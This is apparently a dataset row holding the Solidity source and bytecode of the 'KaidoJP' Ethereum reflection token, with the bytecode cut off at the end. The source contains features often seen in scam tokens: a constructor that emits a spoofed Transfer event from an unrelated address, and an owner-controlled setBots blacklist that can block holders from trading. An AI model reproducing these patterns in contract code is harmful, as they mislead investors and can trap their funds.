673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dd557600080fd5b600360159054906101000a900460ff16151515610df157600080fd5b6001600360156101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ef65780601f10610ecb57610100808354040283529160200191610ef6565b820191906000526020600020905b815481529060010190602001808311610ed957829003601f168201915b505050505081565b6000600360159054906101000a900460ff16151515610f1c57600080fd5b610f268383611896565b905092915050565b6000600360159054906101000a900460ff16151515610f4c57600080fd5b610f568383611ab5565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561104157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561107d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561126c57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112b957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561134457600080fd5b611395826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611428826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114f982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600081830190508281101515156115fc57fe5b80905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611716576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117aa565b6117298382611cb190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156118d357600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561192057600080fd5b611971826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a04826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611b4682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515611cbf57fe5b8183039050929150505600a165627a7a72305820393252ba2a53a5e6507fc6077b08f7fa3b00c776665b8af156ab12076a5098ca0029
{"success": true, "error": null, "results": {}}
1,342
0x0310fe9bc1df1c418a825da6a2aa6abd7e30249d
/** *Submitted for verification at Etherscan.io on 2021-09-27 */ /** Telegram: https://t.me/KaidoJPToken // SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KaidoJP is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 999999999 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "KaidoJP"; string private constant _symbol = "KaidoJP"; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2, address payable addr3) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[addr3] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0xdc9853b1Bd539D5427304A4D48A3a2D20520cb3B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 4; _teamFee = 5; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 4; _teamFee = 5; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 999999999 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTx(uint256 maxTx) external onlyOwner() { require(maxTx > 0, "Amount must be greater than 0"); _maxTxAmount = maxTx; emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063bc3371821461038d578063c3c8cd80146103b6578063c9567bf9146103cd578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d31565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061285b565b61045e565b6040516101789190612d16565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612eb3565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612808565b61048c565b6040516101e09190612d16565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061276e565b610565565b005b34801561021e57600080fd5b50610227610655565b6040516102349190612f28565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906128e4565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f919061276e565b610782565b6040516102b19190612eb3565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612c48565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612d31565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061285b565b61098c565b60405161035b9190612d16565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061289b565b6109aa565b005b34801561039957600080fd5b506103b460048036038101906103af919061293e565b610ad4565b005b3480156103c257600080fd5b506103cb610bef565b005b3480156103d957600080fd5b506103e2610c69565b005b3480156103f057600080fd5b5061040b600480360381019061040691906127c8565b6111c4565b6040516104189190612eb3565b60405180910390f35b60606040518060400160405280600781526020017f4b6169646f4a5000000000000000000000000000000000000000000000000000815250905090565b600061047261046b61124b565b8484611253565b6001905092915050565b6000670de0b6b36bc93600905090565b600061049984848461141e565b61055a846104a561124b565b6105558560405180606001604052806028815260200161360660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b61124b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad69092919063ffffffff16565b611253565b600190509392505050565b61056d61124b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612e13565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066661124b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612e13565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075161124b565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611b3a565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c35565b9050919050565b6107db61124b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612e13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4b6169646f4a5000000000000000000000000000000000000000000000000000815250905090565b60006109a061099961124b565b848461141e565b6001905092915050565b6109b261124b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612e13565b60405180910390fd5b60005b8151811015610ad057600160066000848481518110610a6457610a63613270565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac8906131c9565b915050610a42565b5050565b610adc61124b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6090612e13565b60405180910390fd5b60008111610bac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba390612dd3565b60405180910390fd5b806012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610be49190612eb3565b60405180910390a150565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3061124b565b73ffffffffffffffffffffffffffffffffffffffff1614610c5057600080fd5b6000610c5b30610782565b9050610c6681611ca3565b50565b610c7161124b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf590612e13565b60405180910390fd5b601160149054906101000a900460ff1615610d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4590612e93565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ddd30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b36bc93600611253565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2357600080fd5b505afa158015610e37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5b919061279b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ebd57600080fd5b505afa158015610ed1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef5919061279b565b6040518363ffffffff1660e01b8152600401610f12929190612c63565b602060405180830381600087803b158015610f2c57600080fd5b505af1158015610f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f64919061279b565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fed30610782565b600080610ff8610926565b426040518863ffffffff1660e01b815260040161101a96959493929190612cb5565b6060604051808303818588803b15801561103357600080fd5b505af1158015611047573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061106c919061296b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550670de0b6b36bc936006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161116e929190612c8c565b602060405180830381600087803b15801561118857600080fd5b505af115801561119c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c09190612911565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ba90612e73565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611333576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132a90612d93565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114119190612eb3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561148e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148590612e53565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f590612d53565b60405180910390fd5b60008111611541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153890612e33565b60405180910390fd5b6004600a819055506005600b81905550611559610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115c75750611597610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a1357600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116705750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61167957600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117245750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561177a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117925750601160179054906101000a900460ff165b15611842576012548111156117a657600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106117f157600080fd5b601e426117fe9190612fe9565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156118ed5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119435750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611959576004600a819055506005600b819055505b600061196430610782565b9050601160159054906101000a900460ff161580156119d15750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119e95750601160169054906101000a900460ff165b15611a1